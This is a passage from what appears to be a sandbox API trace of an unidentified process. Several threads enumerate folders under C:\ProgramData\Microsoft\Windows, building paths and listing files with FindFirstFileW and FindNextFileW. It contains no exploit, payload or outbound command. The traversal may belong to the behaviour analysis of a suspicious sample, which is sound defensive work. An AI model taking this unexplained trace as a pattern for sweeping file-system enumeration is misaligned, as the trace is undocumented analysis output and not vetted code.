	[0090.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabc38) returned 1

Thread:
	id = 1009
	os_tid = 0x1c34

	[0082.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc910
	[0082.592] wcscpy (in: _Dest=0x47bc910, _Source="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders") returned="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders"
	[0082.592] wcscat (in: _Dest=0x47bc910, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders\\") returned="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders\\"
	[0082.592] wcscat (in: _Dest=0x47bc910, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders\\*"
	[0082.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e153d0
	[0082.592] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\PackagedEventProviders\\*", lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c481, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aea8
	[0085.476] wcscmp (_String1=".", _String2=".") returned 0
	[0085.476] FindNextFileW (in: hFindFile=0x477aea8, lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c481, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.476] wcscmp (_String1="..", _String2=".") returned 1
	[0085.476] wcscmp (_String1="..", _String2="..") returned 0
	[0085.476] FindNextFileW (in: hFindFile=0x477aea8, lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c481, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0085.476] FindClose (in: hFindFile=0x477aea8 | out: hFindFile=0x477aea8) returned 1
	[0085.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e153d0) returned 1
	[0085.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc910) returned 1
	[0085.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753818) returned 1

Thread:
	id = 1010
	os_tid = 0x1c38

	[0082.593] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e03fa0
	[0082.593] wcscpy (in: _Dest=0x2e03fa0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls") returned="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls"
	[0082.593] wcscat (in: _Dest=0x2e03fa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\"
	[0082.593] wcscat (in: _Dest=0x2e03fa0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\*"
	[0082.593] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e158a0
	[0082.593] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\*", lpFindFileData=0x2e158a0 | out: lpFindFileData=0x2e158a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c80e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ad68
	[0085.472] wcscmp (_String1=".", _String2=".") returned 0
	[0085.472] FindNextFileW (in: hFindFile=0x477ad68, lpFindFileData=0x2e158a0 | out: lpFindFileData=0x2e158a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212c80e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.472] wcscmp (_String1="..", _String2=".") returned 1
	[0085.472] wcscmp (_String1="..", _String2="..") returned 0
	[0085.472] FindNextFileW (in: hFindFile=0x477ad68, lpFindFileData=0x2e158a0 | out: lpFindFileData=0x2e158a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212cd78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 1
	[0085.472] wcscmp (_String1="settings", _String2=".") returned 1
	[0085.472] wcscmp (_String1="settings", _String2="..") returned 1
	[0085.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bde90
	[0085.472] wcscpy (in: _Dest=0x47bde90, _Source="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls") returned="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls"
	[0085.472] wcscat (in: _Dest=0x47bde90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\"
	[0085.472] wcscat (in: _Dest=0x47bde90, _Source="settings" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\settings") returned="C:\\ProgramData\\Microsoft\\Windows\\Parental Controls\\settings"

Thread:
	id = 1011
	os_tid = 0x1c3c

	[0082.593] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498ce00
	[0082.593] wcscpy (in: _Dest=0x498ce00, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics"
	[0082.593] wcscat (in: _Dest=0x498ce00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\"
	[0082.593] wcscat (in: _Dest=0x498ce00, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*"
	[0082.593] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddf078
	[0082.593] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x2ddf078 | out: lpFindFileData=0x2ddf078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1516f86b, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x15195c01, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aea8
	[0085.480] wcscmp (_String1=".", _String2=".") returned 0
	[0085.480] FindNextFileW (in: hFindFile=0x477aea8, lpFindFileData=0x2ddf078 | out: lpFindFileData=0x2ddf078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1516f86b, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x15195c01, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.480] wcscmp (_String1="..", _String2=".") returned 1
	[0085.480] wcscmp (_String1="..", _String2="..") returned 0
	[0085.480] FindNextFileW (in: hFindFile=0x477aea8, lpFindFileData=0x2ddf078 | out: lpFindFileData=0x2ddf078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14fcc049, ftCreationTime.dwHighDateTime=0x1d336da, ftLastAccessTime.dwLowDateTime=0x14fcc049, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x14fa5e38, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x3c8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="energy-report-2017-09-26.xml", cAlternateFileName="ENERGY~2.XML")) returned 1
	[0085.480] wcscmp (_String1="energy-report-2017-09-26.xml", _String2=".") returned 1
	[0085.480] wcscmp (_String1="energy-report-2017-09-26.xml", _String2="..") returned 1
	[0085.480] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2dc20
	[0085.480] wcscpy (in: _Dest=0x4f2dc20, _Source="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics"
	[0085.480] wcscat (in: _Dest=0x4f2dc20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\"
	[0085.480] wcscat (in: _Dest=0x4f2dc20, _Source="energy-report-2017-09-26.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-09-26.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-09-26.xml"

Thread:
	id = 1012
	os_tid = 0x1c40

	[0082.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47809e8
	[0082.594] wcscpy (in: _Dest=0x47809e8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones"
	[0082.594] wcscat (in: _Dest=0x47809e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\"
	[0082.594] wcscat (in: _Dest=0x47809e8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*"
	[0082.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbff98
	[0082.594] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc21e5ea3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aea8
	[0085.474] wcscmp (_String1=".", _String2=".") returned 0
	[0085.474] FindNextFileW (in: hFindFile=0x477aea8, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc21e5ea3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.474] wcscmp (_String1="..", _String2=".") returned 1
	[0085.474] wcscmp (_String1="..", _String2="..") returned 0
	[0085.474] FindNextFileW (in: hFindFile=0x477aea8, lpFindFileData=0x2dbff98 | out: lpFindFileData=0x2dbff98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc21e5ea3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0085.474] FindClose (in: hFindFile=0x477aea8 | out: hFindFile=0x477aea8) returned 1
	[0085.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbff98) returned 1
	[0085.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47809e8) returned 1
	[0085.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf3c8) returned 1

Thread:
	id = 1013
	os_tid = 0x1c44

	[0082.595] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4780b88
	[0082.595] wcscpy (in: _Dest=0x4780b88, _Source="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy") returned="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy"
	[0082.595] wcscat (in: _Dest=0x4780b88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\") returned="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\"
	[0082.595] wcscat (in: _Dest=0x4780b88, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\*"
	[0082.595] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8f68
	[0082.595] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\*", lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedcf5f61, ftCreationTime.dwHighDateTime=0x1d336d9, ftLastAccessTime.dwLowDateTime=0xeeb42f5b, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xeeb42f5b, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ade8
	[0085.474] wcscmp (_String1=".", _String2=".") returned 0
	[0085.474] FindNextFileW (in: hFindFile=0x477ade8, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedcf5f61, ftCreationTime.dwHighDateTime=0x1d336d9, ftLastAccessTime.dwLowDateTime=0xeeb42f5b, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xeeb42f5b, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.474] wcscmp (_String1="..", _String2=".") returned 1
	[0085.474] wcscmp (_String1="..", _String2="..") returned 0
	[0085.474] FindNextFileW (in: hFindFile=0x477ade8, lpFindFileData=0x2db8f68 | out: lpFindFileData=0x2db8f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb42f5b, ftCreationTime.dwHighDateTime=0x1d336d9, ftLastAccessTime.dwLowDateTime=0xeeb42f5b, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xeeb42f5b, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x6229, dwReserved0=0x0, dwReserved1=0x0, cFileName="sleepstudy-report-latest.xml", cAlternateFileName="SLEEPS~1.XML")) returned 1
	[0085.474] wcscmp (_String1="sleepstudy-report-latest.xml", _String2=".") returned 1
	[0085.474] wcscmp (_String1="sleepstudy-report-latest.xml", _String2="..") returned 1
	[0085.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x92) returned 0x4894960
	[0085.474] wcscpy (in: _Dest=0x4894960, _Source="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy") returned="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy"
	[0085.474] wcscat (in: _Dest=0x4894960, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\") returned="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\"
	[0085.474] wcscat (in: _Dest=0x4894960, _Source="sleepstudy-report-latest.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\sleepstudy-report-latest.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\sleepstudy-report-latest.xml"

Thread:
	id = 1014
	os_tid = 0x1c48

	[0082.595] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dabf50
	[0082.595] wcscpy (in: _Dest=0x2dabf50, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm"
	[0082.595] wcscat (in: _Dest=0x2dabf50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\"
	[0082.595] wcscat (in: _Dest=0x2dabf50, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*"
	[0082.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a530
	[0082.596] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x502a530 | out: lpFindFileData=0x502a530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ae68
	[0085.473] wcscmp (_String1=".", _String2=".") returned 0
	[0085.473] FindNextFileW (in: hFindFile=0x477ae68, lpFindFileData=0x502a530 | out: lpFindFileData=0x502a530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.473] wcscmp (_String1="..", _String2=".") returned 1
	[0085.473] wcscmp (_String1="..", _String2="..") returned 0
	[0085.473] FindNextFileW (in: hFindFile=0x477ae68, lpFindFileData=0x502a530 | out: lpFindFileData=0x502a530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8440cf44, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8440cf44, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8440cf44, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1
	[0085.473] wcscmp (_String1="Manifest", _String2=".") returned 1
	[0085.473] wcscmp (_String1="Manifest", _String2="..") returned 1
	[0085.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4734290
	[0085.473] wcscpy (in: _Dest=0x4734290, _Source="C:\\ProgramData\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm"
	[0085.473] wcscat (in: _Dest=0x4734290, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\"
	[0085.473] wcscat (in: _Dest=0x4734290, _Source="Manifest" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest") returned="C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest"

Thread:
	id = 1015
	os_tid = 0x1c4c

	[0082.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4780090
	[0082.596] wcscpy (in: _Dest=0x4780090, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu"
	[0082.596] wcscat (in: _Dest=0x4780090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\"
	[0082.596] wcscat (in: _Dest=0x4780090, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*"
	[0082.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502da20
	[0082.596] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x502da20 | out: lpFindFileData=0x502da20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8118
	[0082.597] wcscmp (_String1=".", _String2=".") returned 0
	[0082.597] FindNextFileW (in: hFindFile=0x46a8118, lpFindFileData=0x502da20 | out: lpFindFileData=0x502da20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc229ee00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a923ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.597] wcscmp (_String1="..", _String2=".") returned 1
	[0082.597] wcscmp (_String1="..", _String2="..") returned 0
	[0082.597] FindNextFileW (in: hFindFile=0x46a8118, lpFindFileData=0x502da20 | out: lpFindFileData=0x502da20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f43b93, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f43b93, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.597] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0082.597] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0082.597] FindNextFileW (in: hFindFile=0x46a8118, lpFindFileData=0x502da20 | out: lpFindFileData=0x502da20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1
	[0082.597] wcscmp (_String1="Programs", _String2=".") returned 1
	[0082.597] wcscmp (_String1="Programs", _String2="..") returned 1
	[0082.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e04450
	[0082.597] wcscpy (in: _Dest=0x2e04450, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu"
	[0082.597] wcscat (in: _Dest=0x2e04450, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\"
	[0082.597] wcscat (in: _Dest=0x2e04450, _Source="Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs"
	[0090.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2d82ce8
	[0090.441] wcscpy (in: _Dest=0x2d82ce8, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs"
	[0090.441] wcscat (in: _Dest=0x2d82ce8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\"
	[0090.441] wcscat (in: _Dest=0x2d82ce8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*"
	[0090.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502eaf8
